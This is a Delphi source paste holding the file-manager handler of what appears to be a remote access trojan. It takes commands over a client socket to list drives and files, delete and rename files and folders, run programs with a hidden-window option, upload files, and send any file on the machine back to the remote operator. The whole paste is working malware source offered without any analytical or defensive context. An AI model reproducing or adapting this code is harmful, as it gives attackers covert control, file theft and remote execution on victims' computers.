rendered paste bodyprocedure ParseFileManager(Thread: TThread; Socket: TClientSocket; Frame: TCommandFrame; Stream: TMemoryStream);
var
ReplyStream: TMemoryStream;
Buffer: PChar;
PBuffer: PChar;
Drive: string;
BufferSize, ReturnSize: dword;
TypeBuffer: pointer;
DriveCount: dword;
FindData: TWIN32FindData;
Path: string;
FindStream: TMemoryStream;
hFind: THandle;
Application: string;
Hidden: byte;
FileStream: TFileStream;
begin
case Frame.Command of
F_DRIVES:
begin
BufferSize := 1;
GetMem(Buffer, BufferSize);
try
ReturnSize := GetLogicalDriveStrings(BufferSize, Buffer);
if ReturnSize > BufferSize then
begin
BufferSize := ReturnSize;
ReallocMem(Buffer, BufferSize);
GetLogicalDriveStrings(BufferSize, Buffer);
end;
PBuffer := Buffer;
DriveCount := 0;
GetMem(TypeBuffer, 4);
try
while PBuffer^ <> #0 do
begin
Inc(DriveCount);
ReallocMem(TypeBuffer, DriveCount * 4);
Drive := string(PBuffer);
dword(pointer(dword(TypeBuffer) + ((DriveCount - 1) * 4))^) := GetDriveType(pchar(Drive));
Inc(PBuffer, Length(PBuffer) + 1);
end;
DriveCount := DriveCount * 4;
Frame.Len := 8 + BufferSize + DriveCount;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(BufferSize, 4);
ReplyStream.WriteBuffer(Buffer^, BufferSize);
ReplyStream.WriteBuffer(DriveCount, 4);
ReplyStream.WriteBuffer(TypeBuffer^, DriveCount);
SendStream(Socket, ReplyStream);
ReplyStream.Free;
finally
FreeMem(TypeBuffer);
end;
finally
FreeMem(Buffer);
end;
end;
F_LIST:
begin
SetLength(Path, Stream.Size);
Stream.ReadBuffer(pointer(Path)^, Stream.Size);
hFind := FindFirstFile(pchar(Path), FindData);
if hFind = INVALID_HANDLE_VALUE then
begin
ReplyStream := TMemoryStream.Create;
Frame.Len := 0;
ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
ReplyStream.Free;
Exit;
end;
FindStream := TMemoryStream.Create;
FindStream.WriteBuffer(FindData, SizeOf(TWIN32FindData));
while FindNextFile(hFind, FindData) = True do FindStream.WriteBuffer(FindData, SizeOf(TWIN32FindData));
ReplyStream := TMemoryStream.Create;
Frame.Len := FindStream.Size;
ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame));
ReplyStream.CopyFrom(FindStream, 0);
FindStream.Free;
SendStream(Socket, ReplyStream);
ReplyStream.Free;
end;
F_RENAMEDIR:
begin
SetLength(Path, Stream.Size);
Stream.ReadBuffer(pointer(Path)^, Stream.Size);
RenameDirectory(Split(Path, '|', 1), Split(Path, '|', 2));
end;
F_DELETEDIR:
begin
SetLength(Path, Stream.Size);
Stream.ReadBuffer(pointer(Path)^, Stream.Size);
DeleteDirectory(Path);
end;
F_RENAMEFILE:
begin
SetLength(Path, Stream.Size);
Stream.ReadBuffer(pointer(Path)^, Stream.Size);
MoveFile(pchar(Split(Path, '|', 1)), pchar(Split(Path, '|', 2)));
end;
F_DELETEFILE:
begin
SetLength(Path, Stream.Size);
Stream.ReadBuffer(pointer(Path)^, Stream.Size);
DeleteFile(pchar(Path));
end;
F_CREATEDIR:
begin
SetLength(Path, Stream.Size);
Stream.ReadBuffer(pointer(Path)^, Stream.Size);
CreateDirectory(pchar(Path), nil);
end;
F_EXECUTE:
begin
SetLength(Path, Stream.Size);
Stream.ReadBuffer(pointer(Path)^, Stream.Size);
Application := Split(Path, '|', 1);
Hidden := StrToInt(Split(Path, '|', 2));
WinExec(pchar(Application), Hidden);
end;
F_UPLOAD:
begin
Stream.ReadBuffer(BufferSize, 4);
SetLength(Path, BufferSize);
Stream.ReadBuffer(pointer(Path)^, BufferSize);
FileStream := TFileStream.Create(Path, $FFFF);
FileStream.CopyFrom(Stream, Stream.Size - Stream.Position);
FileStream.Free;
ReplyStream := TMemoryStream.Create;
Frame.Len := 0;
ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
ReplyStream.Free;
end;
F_DOWNLOAD:
begin
SetLength(Path, Stream.Size);
Stream.ReadBuffer(pointer(Path)^, Stream.Size);
ReplyStream := TMemoryStream.Create;
FileStream := TFileStream.Create(Path, $0000);
DriveCount := Length(Path) + 1;
Frame.Len := 4 + DriveCount + FileStream.Size;
ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(DriveCount, 4);
ReplyStream.WriteBuffer(pointer(Path)^, DriveCount);
ReplyStream.CopyFrom(FileStream, 0);
FileStream.Free;
SendStream(Socket, ReplyStream);
ReplyStream.Free;
end;
F_SEARCH:
begin
SetLength(Path, Stream.Size);
Stream.ReadBuffer(pointer(Path)^, Stream.Size);
FindStream := TMemoryStream.Create;
SearchDirectories(Split(Path, '|', 1), Split(Path, '|', 2), FindStream);
ReplyStream := TMemoryStream.Create;
Frame.Len := FindStream.Size;
ReplyStream.WriteBuffer(Frame, SizeOf(TCommandFrame));
ReplyStream.CopyFrom(FindStream, 0);
FindStream.Free;
SendStream(Socket, ReplyStream);
ReplyStream.Free;
end;
end;
end;